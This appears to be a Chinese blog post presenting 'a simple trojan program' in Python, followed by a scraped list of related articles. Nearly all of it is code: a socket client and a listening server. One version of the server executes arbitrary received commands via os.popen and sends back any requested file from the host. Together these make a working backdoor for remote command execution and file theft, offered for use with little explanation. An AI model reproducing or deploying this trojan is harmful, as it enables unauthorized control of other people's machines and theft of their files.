一个简单的木马程序

绝大多数的木马程序都是基于Socket来实现的

废话少说直接上代码!

代码:

client部分:

  1. # -*- coding: UTF-8 -*-
  2.  
  3. import socket
    import sys
    import re
    import os
  4.  
  5. class Client:
    def __init__(self, serverIp, serverPort):
    self.serverIp = serverIp # 待连接的远程主机的域名
    self.serverPort = serverPort
    self.bufferSize = 10240
  6.  
  7. def connet(self): # 连接方法
    try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as e:
    print("Failed to create socket. Error: %s" % e)
  8.  
  9. try:
    s.connect((self.serverIp, self.serverPort))
    while True:
    message = input('> ') # 接收用户输入
    if not message:
    break
    s.send(bytes(message, 'utf-8')) # 发送命令
    data = s.recv(self.bufferSize) # 接收数据
    if not data:
    break
    if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型
    print(data.decode('utf-8')[4:])
    else: # 文件内容处理
    s.send("File size received".encode()) # 通知服务端可以发送文件了
    file_total_size = int(data.decode()) # 总大小
    received_size = 0
    f = open("new" + os.path.split(message)[-1], "wb") # 创建文件
    while received_size < file_total_size:
    data = s.recv(self.bufferSize)
    f.write(data) # 写文件
    received_size += len(data) # 累加接收长度
    print("已接收:", received_size)
    f.close() # 关闭文件
    print("receive done", file_total_size, " ", received_size)
    except socket.error:
    s.close()
    raise # 退出进程
    finally:
    s.close()
  10.  
  11. if __name__ == '__main__':
    cl = Client('127.0.0.1', 8800)
    cl.connet()
    sys.exit() # 退出进程
  1.  

server部分:

  1. # -*- coding: UTF-8 -*-
  2. import socket
    import sys
    import os
  3. class server:
        def __init__(self, ip, port):
            self.port = port
            self.ip = ip
            self.bufferSize = 10240
  4.     def start(self):  # 启动监听,接收数据
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.bind((self.ip, self.port))  # 绑定
                s.listen(10)  # 监听
                print('等待客户端连接')
                while True:  # 一直等待新的连接
                    try:
                        conn, addr = s.accept()  # 接收连接
                        print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                        while True:  # 保持长连接
                            data = conn.recv(self.bufferSize)#接收数据
                            if not data:#断开连接时退出当前循环
                                break
                            else:
                                self.executeCommand(conn,data)
                        conn.close()#关闭当前连接
                    except socket.error as e:
                        print(e)
                        conn.close()  # 关闭连接
            finally:
                s.close()  # 关闭服务端
  5.     def executeCommand(self, tcpCliSock, data):  # 解析并执行命令
            try:#
                 message = data.decode("utf-8")
                 if os.path.isfile(message):#判断是否是文件
                    filesize = str(os.path.getsize(message))#获取文件大小
                    print("文件大小为:",filesize)
                    tcpCliSock.send(filesize.encode())#发送文件大小
                    data = tcpCliSock.recv(self.bufferSize)
                    print("开始发送")
                    f = open(message, "rb")#打开文件
                    for line in f:
                        tcpCliSock.send(line)#发送文件内容
            except:
                raise
  6. if __name__ == '__main__':
        s = server('', 8800)
        s.start()
  1. # -*- coding: UTF-8 -*-
  2.  
  3. import socket
    import sys
    import os
  4.  
  5. class server:
    def __init__(self, ip, port):
    self.port = port
    self.ip = ip
    self.bufferSize = 10240
  6.  
  7. def start(self): # 启动监听,接收数据
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
    s.bind((self.ip, self.port)) # 绑定
    s.listen(10) # 监听
    print('等待客户端连接')
    while True: # 一直等待新的连接
    try:
    conn, addr = s.accept() # 接收连接
    print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
    while True: # 不知道客户端发送数据大小,循环接收
    data = conn.recv(self.bufferSize)
    if not data:
    break
    else:
    self.executeCommand(conn,data)
    conn.close()
    except socket.error as e:
    print(e)
    conn.close() # 关闭连接
    finally:
    s.close() # 关闭服务端
  8.  
  9. def executeCommand(self, tcpCliSock, data): # 解析并执行命令
    try:#
    message = data.decode("utf-8")
    if os.path.isfile(message):#判断是否是文件
    filesize = str(os.path.getsize(message))#获取文件大小
    print("文件大小为:",filesize)
    tcpCliSock.send(filesize.encode())#发送文件大小
    data = tcpCliSock.recv(self.bufferSize)
    print("开始发送")
    f = open(message, "rb")#打开文件
    for line in f:
    tcpCliSock.send(line)#发送文件内容
    else:
    tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
    except:
    raise
  10.  
  11. if __name__ == '__main__':
    s = server('', 8800)
    s.start()
  1.  

执行效果:



提醒一下,以上是linux下的方式

如果使用的是windows得解释器:

命令如下

其余同上!

python实现一个简单木马!的更多相关文章

  1. 用Python写一个简单的Web框架

    一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...

  2. 用Python编写一个简单的Http Server

    用Python编写一个简单的Http Server Python内置了支持HTTP协议的模块,我们可以用来开发单机版功能较少的Web服务器.Python支持该功能的实现模块是BaseFTTPServe ...

  3. python中一个简单的webserver

     python中一个简单的webserver 2013-02-24 15:37:49 分类: Python/Ruby 支持多线程的webserver   1 2 3 4 5 6 7 8 9 10 11 ...

  4. Python实现一个简单三层神经网络的搭建并测试

    python实现一个简单三层神经网络的搭建(有代码) 废话不多说了,直接步入正题,一个完整的神经网络一般由三层构成:输入层,隐藏层(可以有多层)和输出层.本文所构建的神经网络隐藏层只有一层.一个神经网 ...

  5. 用python实现一个简单的词云

    对于在windows(Pycharm工具)里实现一个简单的词云还是经过了几步小挫折,跟大家分享下,如果遇到类似问题可以参考: 1. 导入wordcloud包时候报错,当然很明显没有安装此包. 2. 安 ...

  6. python制作一个简单的中奖系统

    注释: 展示图下的代码,我是用pycharm写的,是python解释器中的一种,本课没不同解释器的要求,可根据自己喜欢的解释器编写. 步骤: 本期给大家带来的是,一个简单的中奖系统,首先打开自己电脑上 ...

  7. python 搭建一个简单的 搜索引擎

    我把代码和爬好的数据放在了git上,欢迎大家来参考 https://github.com/linyi0604/linyiSearcher 我是在 manjaro linux下做的, 使用python3 ...

  8. 使用Python制作一个简单的刷博器

    呵呵,不得不佩服Python的强大,寥寥几句代码就能做一个简单的刷博器. import webbrowser as web import time import os count=0 while co ...

  9. 使用Python实现一个简单的项目监控

    在公司里做的一个接口系统,主要是对接第三方的系统接口,所以,这个系统里会和很多其他公司的项目交互.随之而来一个很蛋疼的问题,这么多公司的接口,不同公司接口的稳定性差别很大,访问量大的时候,有的不怎么行 ...

随机推荐

  1. (转)JMS简明学习教程

    转:http://www.cnblogs.com/jjj250/archive/2012/08/08/2628552.html 基础篇 JMS是应用系统或组件之间相互通信的应用程序接口,利用它,我们可 ...

  2. mongodb副本集的内部机制(借鉴lanceyan.com)

    针对mongodb的内部机制提出以下几个引导性的问题: 副本集故障转移,主节点是如何选举的?能否手动干涉下架某一台主节点. 官方说副本集数量最好是奇数,为什么? mongodb副本集是如何同步的?如果 ...

  3. CSS:CSS 盒子模型

    ylbtech-CSS:CSS 盒子模型 1.返回顶部 1. CSS 盒子模型 CSS 盒子模型(Box Model) 所有HTML元素可以看作盒子,在CSS中,"box model&quo ...

  4. 谷歌与Airbnb的JS代码规范

    谷歌JS代码规范 规范代码原因:代码规范是为了保持源代码编写模式一致,便于维护代码,可读性高. 1.使用空格代替tab 规范随后指出应该使用2个,而不是4个空格带实现缩进.(除了每一行的终止符序列,A ...

  5. 注释类型 XmlType

    @Retention(value=RUNTIME) @Target(value=TYPE) public @interface XmlType 将类或枚举类型映射到 XML 模式类型. 用法 @Xml ...

  6. 序列化之 TLV

    目录 序列化之 TLV 1. 紧凑模式 2. 可扩展性 3. 更好的可扩展性 4. 自解释性 5. 跨语言特性 6. 代码自动化:IDL语言 7. 总结 序列化之 TLV 通信协议可以理解两个节点之间 ...

  7. hdu 6437 /// 最小费用最大流 负花费 SPFA模板

    题目大意: 给定n,m,K,W 表示n个小时 m场电影(分为类型A.B) K个人 若某个人连续看了两场相同类型的电影则失去W 电影时间不能重叠 接下来给定m场电影的 s t w op 表示电影的 开始 ...

  8. 操作bin目录下的文件

    string dir = AppDomain.CurrentDomain.BaseDirectory + "Video"; if (!System.IO.Directory.Exi ...

  9. python--序列化:json、pickle、shelva

    序列化 数据类型--->str 一个模块就是一个包含了python定义和声明的文件,文件名就是模块名字加上.py的后缀. 反序列化 str--->数据类型 序列化三大方法:json *** ...

  10. JQ基本

    jQuery的入口函数: 特点:1. 等着DOM结构渲染完毕即可执行内部代码,不必等到所有外部资源加载完毕,jQuery帮我们完成了封装. 2. 相当于原生js中的DOMContentLoaded. ...